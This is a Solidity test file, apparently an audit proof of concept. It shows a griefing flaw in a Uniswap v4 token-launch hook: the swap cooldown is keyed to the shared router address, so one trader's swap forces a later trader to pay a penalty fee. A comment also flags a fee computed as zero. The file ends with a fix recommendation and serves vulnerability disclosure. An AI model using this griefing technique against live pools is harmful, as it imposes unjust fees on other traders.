import {BeforeSwapDelta} from "v4-core/types/BeforeSwapDelta.sol";
function test_Griefing_CooldownAttack() public {
SwapParams memory params = SwapParams({
zeroForOne: true,
amountSpecified: -0.001 ether,
sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
});
uint160 flags = uint160(Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG);
bytes memory constructorArgs = abi.encode(
manager, phase1Duration, phase2Duration, phase1LimitBps, phase2LimitBps,
phase1Cooldown, phase2Cooldown, phase1PenaltyBps, phase2PenaltyBps
);
(address hookAddress, bytes32 salt) = HookMiner.find(address(this), flags, type(TokenLaunchHookHarness).creationCode, constructorArgs);
TokenLaunchHookHarness harness = new TokenLaunchHookHarness{salt: salt}(
manager, phase1Duration, phase2Duration, phase1LimitBps, phase2LimitBps,
phase1Cooldown, phase2Cooldown, phase1PenaltyBps, phase2PenaltyBps
);
harness.setLaunchStartBlock(block.number);
harness.setInitialLiquidity(100 ether);
PoolKey memory harnessKey = PoolKey({
currency0: ethCurrency,
currency1: tokenCurrency,
fee: LPFeeLibrary.DYNAMIC_FEE_FLAG,
tickSpacing: 60,
hooks: harness
});
(,, uint24 botFee) = harness.exposed_beforeSwap(address(swapRouter), harnessKey, params, "");
assertEq(botFee, LPFeeLibrary.OVERRIDE_FEE_FLAG, "Bot should pay normal fee (bugged to 0, but no penalty)");
(,, uint24 victimFee) = harness.exposed_beforeSwap(address(swapRouter), harnessKey, params, "");
uint24 expectedPenalty = uint24(phase1PenaltyBps * 100) | LPFeeLibrary.OVERRIDE_FEE_FLAG;
assertEq(victimFee, expectedPenalty, "Victim should pay penalty fee due to shared cooldown");
}
contract TokenLaunchHookHarness is TokenLaunchHook {
constructor(
IPoolManager _poolManager,
uint256 _phase1Duration,
uint256 _phase2Duration,
uint256 _phase1LimitBps,
uint256 _phase2LimitBps,
uint256 _phase1Cooldown,
uint256 _phase2Cooldown,
uint256 _phase1PenaltyBps,
uint256 _phase2PenaltyBps
) TokenLaunchHook(
_poolManager,
_phase1Duration,
_phase2Duration,
_phase1LimitBps,
_phase2LimitBps,
_phase1Cooldown,
_phase2Cooldown,
_phase1PenaltyBps,
_phase2PenaltyBps
) {}
function exposed_beforeSwap(address sender, PoolKey calldata key, SwapParams calldata params, bytes calldata hookData)
external
returns (bytes4 selector, BeforeSwapDelta delta, uint24 fee)
{
return _beforeSwap(sender, key, params, hookData);
}
function setLaunchStartBlock(uint256 blockNumber) external {
launchStartBlock = blockNumber;
}
function setInitialLiquidity(uint256 liquidity) external {
initialLiquidity = liquidity;
}
}
Identify the actual end-user in this context to prevent shared-router limits.